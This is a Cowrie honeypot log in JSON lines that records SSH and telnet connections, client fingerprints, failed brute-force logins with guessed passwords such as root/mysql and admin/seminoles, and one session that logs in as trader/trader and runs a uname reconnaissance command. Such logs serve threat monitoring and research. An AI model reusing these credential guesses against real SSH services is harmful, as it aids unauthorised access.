{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:02.716248Z","src_ip":"102.68.87.1","session":"49ac4991d30a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:03.439250Z","src_ip":"102.68.87.1","session":"49ac4991d30a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:04.682169Z","src_ip":"102.68.87.1","session":"49ac4991d30a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":42394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1abf5b5ed9b3","protocol":"ssh","message":"New connection: 102.68.87.1:42394 (10.17.0.5:22) [session: 1abf5b5ed9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:04.919435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:04.925223Z","src_ip":"102.68.87.1","session":"1abf5b5ed9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:05.166636Z","src_ip":"102.68.87.1","session":"1abf5b5ed9b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:05.892771Z","src_ip":"102.68.87.1","session":"1abf5b5ed9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:07.136673Z","src_ip":"102.68.87.1","session":"1abf5b5ed9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":42410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a8a64cfadf","protocol":"ssh","message":"New connection: 102.68.87.1:42410 (10.17.0.5:22) [session: b2a8a64cfadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:10.400253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:10.409221Z","src_ip":"102.68.87.1","session":"b2a8a64cfadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:10.650259Z","src_ip":"102.68.87.1","session":"b2a8a64cfadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:11.359160Z","src_ip":"102.68.87.1","session":"b2a8a64cfadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:12.599528Z","src_ip":"102.68.87.1","session":"b2a8a64cfadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.181.77.255","src_port":10031,"dst_ip":"159.203.135.109","dst_port":23,"session":"638b4f035864","protocol":"telnet","message":"New connection: 223.181.77.255:10031 (159.203.135.109:23) [session: 638b4f035864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:34.759196Z"}
{"eventid":"cowrie.session.closed","duration":12.26050066947937,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:47.019547Z","src_ip":"223.181.77.255","session":"638b4f035864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40338,"dst_ip":"159.203.135.109","dst_port":22,"session":"980e459b1689","protocol":"ssh","message":"New connection: 193.32.162.145:40338 (159.203.135.109:22) [session: 980e459b1689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:51.394498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:51.399696Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:51.504440Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:51.885685Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:52.141343Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:52.144952Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:52.272383Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:52.277746Z","src_ip":"193.32.162.145","session":"980e459b1689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":55434,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5c937d0471","protocol":"ssh","message":"New connection: 2.57.121.112:55434 (159.203.135.109:22) [session: 5f5c937d0471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:07.267721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:07.272921Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:07.378894Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"seminoles","message":"login attempt [admin/seminoles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:07.874710Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"seed","message":"login attempt [admin/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:08.983008Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"section8","message":"login attempt [admin/section8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:10.093070Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15422,"dst_ip":"159.203.135.109","dst_port":22,"session":"e263af1e581f","protocol":"ssh","message":"New connection: 194.59.206.2:15422 (159.203.135.109:22) [session: e263af1e581f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:11.149428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:11.154958Z","src_ip":"194.59.206.2","session":"e263af1e581f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"searock6","message":"login attempt [admin/searock6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:11.202628Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:11.251633Z","src_ip":"194.59.206.2","session":"e263af1e581f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:11.346705Z","src_ip":"194.59.206.2","session":"e263af1e581f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scull","message":"login attempt [admin/scull] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:12.311511Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:13.421205Z","src_ip":"2.57.121.112","session":"5f5c937d0471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":44232,"dst_ip":"10.17.0.5","dst_port":22,"session":"de788ce87315","protocol":"ssh","message":"New connection: 190.244.39.224:44232 (10.17.0.5:22) [session: de788ce87315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:47.111004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:47.115859Z","src_ip":"190.244.39.224","session":"de788ce87315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:47.319561Z","src_ip":"190.244.39.224","session":"de788ce87315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Berbidvps.ir","message":"login attempt [root/Berbidvps.ir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:48.156290Z","src_ip":"190.244.39.224","session":"de788ce87315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:22:49.354676Z","src_ip":"190.244.39.224","session":"de788ce87315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.201.189","src_port":38118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d97bb95a2bb","protocol":"ssh","message":"New connection: 89.45.201.189:38118 (10.17.0.5:22) [session: 7d97bb95a2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:03.663791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:03.669150Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:03.796010Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
